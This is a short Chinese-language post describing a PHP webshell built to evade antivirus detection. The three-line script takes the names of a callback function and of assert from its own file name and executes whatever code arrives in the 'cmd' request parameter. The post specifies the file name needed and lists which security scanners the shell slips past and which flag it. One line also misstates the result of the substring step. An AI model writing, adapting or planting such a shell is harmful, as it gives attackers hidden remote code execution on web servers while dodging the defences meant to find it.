PHP奇奇怪怪的免杀WEBSHELL

一、用字符串处理、拼接的操作,要么字符串来源于webshell本身,要么来源于外部传入,来源于内部容易被发现,来源于外部又会被盯得比较死,所以有了这个想法,来源于文件名。

最终使用回调函数forward_static_call_array来执行命令,调的函数为assert,执行的命令我们自己传入,代码如下:

<?php
$forward_static_call_array=substr($_SERVER['PHP_SELF'],1,25);
$assert=substr($_SERVER['PHP_SELF'],27,6);
$forward_static_call_array($assert,array($_REQUEST['cmd']));

文件命名为:forward_static_call_array_assert.php

执行文件后,$_SERVER['PHP_SELF']值为:/forward_static_call_array_assert.php

取2-26位赋值给第一个函数,即回调函数:forward_static_call_array_assert

取28-33位赋值给第二个函数,即被回调函数调用的函数:assert

然后执行回调函数,传入cmd=phpinfo();即可执行

测试结果:能过河马、百度、长亭,只有D盾报变量函数,但是,竟然会被火绒检测到。。。

纯属记录一下思路,大佬轻喷。